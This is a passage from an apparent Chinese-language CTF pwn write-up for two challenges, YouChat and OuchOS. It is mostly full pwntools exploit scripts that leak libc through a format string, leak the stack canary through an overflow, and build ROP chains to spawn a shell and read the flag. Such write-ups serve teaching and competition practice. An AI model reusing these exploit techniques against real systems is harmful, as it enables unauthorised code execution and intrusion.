16
17
18
19
def login(name,passwd):
cmd("1")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

def register(name,passwd):
cmd("2")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

register("1","1")
register("2","1")
register("3","1")
login("1","1")

add("2")
add("3")

利用格式化字符串漏洞可以泄露 libc_base:

1
2
3
4
5
6
set("%31$p")
ru("new status: ")
leak_addr = eval(p.recv(14))
libc_base = leak_addr - 0x4aa429 + 729088
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

利用栈溢出覆盖 canary 低位可以泄露出 canary:

1
2
3
4
5
6
7
8
9
choose("0")
send("a"*0x200+"b"*9)

ru("b"*9)
leak_addr = (ru("is")[:7])
leak_addr = u64(leak_addr.ljust(8,"\x00"))
canary = leak_addr * 0x100
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

覆盖 canary 后可以泄露其后的返回地址:

1
2
3
4
5
6
7
8
9
payload = "a"*0x200+"b"*8+"c"*8
send(payload)

ru("c"*8)
leak_addr = p.recv(6)
leak_addr = u64(leak_addr.ljust(8,"\x00"))
pro_base = leak_addr - 0xb080
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

最后执行一个 execve 就可以了

完整 exp 如下:(比赛时不知道本地和远程有 729088 字节的偏移,浪费了很长时间)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './YouChat.patch'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.2.66','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x31D2)\nb *$rebase(0x3811)\n")
pause()

def cmd(op):
sla("Your choice:",str(op))

def login(name,passwd):
cmd("1")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

def register(name,passwd):
cmd("2")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

def choose(contact):
sla("choice","1")
sla("contact:",contact)

def add(name):
sla("choice","3")
sa("Username:",name)

def show():
sla("choice","2")

def set(status):
sla("choice","5")
sa("new status",status)

def send(msg):
sla("Your choice:","2")
sa("Message",msg)

register("1","1")
register("2","1")
register("3","1")
login("1","1")

add("2")
add("3")

set("%31$p")
ru("new status: ")
leak_addr = eval(p.recv(14))
libc_base = leak_addr - 0x4aa429 + 729088
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

choose("0")
send("a"*0x200+"b"*9)

ru("b"*9)
leak_addr = (ru("is")[:7])
leak_addr = u64(leak_addr.ljust(8,"\x00"))
canary = leak_addr * 0x100
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

payload = "a"*0x200+"b"*8+"c"*8
send(payload)

ru("c"*8)
leak_addr = p.recv(6)
leak_addr = u64(leak_addr.ljust(8,"\x00"))
pro_base = leak_addr - 0xb080
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

bss_addr = 0x0B040 + pro_base +0x200
main_addr = 0x3B36 + pro_base
success("bss_addr >> "+hex(bss_addr))

one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadgets[2]+libc_base
success("one_gadget >> "+hex(one_gadget))

pop_rdi_ret = 0x0000000000006403 + pro_base
pop_rsi_ret = 0x0000000000006401 + pro_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
syscall_ret = 0x0000000000120069 + libc_base
syscall = 0x000000000002284d + libc_base

write_libc = libc_base + libc.sym["write"]
puts_libc = libc_base + libc.sym["puts"]
open_libc = libc_base + libc.sym["open"]
open_plt = pro_base + 0x2580
open_got = pro_base + 0xAF78
read_libc = libc_base + libc.sym["read"]
execve_libc = libc_base + libc.sym["execve"]
system_libc = libc_base + libc.sym["system"]

binsh = libc_base + 0x1b45bd
success("binsh >> "+hex(binsh))

#debug()

payload = "a"*0x200+"b"*8+p64(canary)+"c"*0x18

payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)+p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(system_libc)
"""
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)+p64(0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)+p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(3,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)+p64(0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)+p64(0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
"""
#debug()

send(payload)
sla("Your choice:","666")
sleep(0.2)
sl("cat flag")

"""
p.recv(1)
leak_addr = p.recv(6)
leak_addr = u64(leak_addr.ljust(8,"\x00"))
success("leak_addr >> "+hex(leak_addr))
success("offset >> "+hex(leak_addr-libc_base))
"""

#0x136420
#0x84420
#sleep(0.5)
#p.send("flag")

p.interactive()

OuchOS

1
2
3
4
5
6
OuchOS1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=17c82d26ae3109262c4fe4584f0c85bcc2132b9f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

栈溢出漏洞:

1
2
3
len = std::string::length(input);
v7 = (const void *)std::string::c_str(input);
memcpy(dest, v7, len);

入侵思路

利用栈溢出覆盖 canary 低位可以泄露 canary 和其后的 pro_addr 返回地址

然后先构造一个 getline(cin,bss_addr) 写入 /bin/sh\x00,然后构造 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './OuchOS1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.1.66','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x5be3)\n")
pause()

def cmd(op):
sla("Your choice:",str(op))

#debug()
sla("login:","ctf")
sla("Password","ctf123456")

sla("$","sudo do")
payload = "a"*1024+"b"*0x9
sla("ctf",payload)

ru("bbbbbbbbb")
leak_addr = u64(p.recv(7).ljust(8,"\x00"))
canary = leak_addr * 0x100
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
pro_base = leak_addr - 0xa6e7
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

pop_rdi_ret = pro_base + 0x0000000000009d73
pop_rsi_ret = pro_base + 0x0000000000009d71
ret = pro_base + 0x000000000000301a
system = pro_base + 0x0000000000003630
cin = pro_base + 0xf1c0
getline = pro_base + 0x3480

bss_addr = pro_base + 0xf040+0x120+0x138
payload = "a"*1024+"b"*0x8+p64(canary)+"c"*0x18

payload += p64(pop_rdi_ret)+p64(cin)+p64(pop_rsi_ret)+p64(bss_addr)+p64(0)+p64(getline)
payload += p64(pop_rdi_ret)+p64(pro_base+0xf210)+p64(ret) +p64(system)

sla("ctf",payload)

payload = "r0o7654321"
sla("ctf",payload)

sleep(1)
p.send("/bin/sh\x00")

#sla("login:","root")
#sla("Password","r0o7654321")

p.interactive()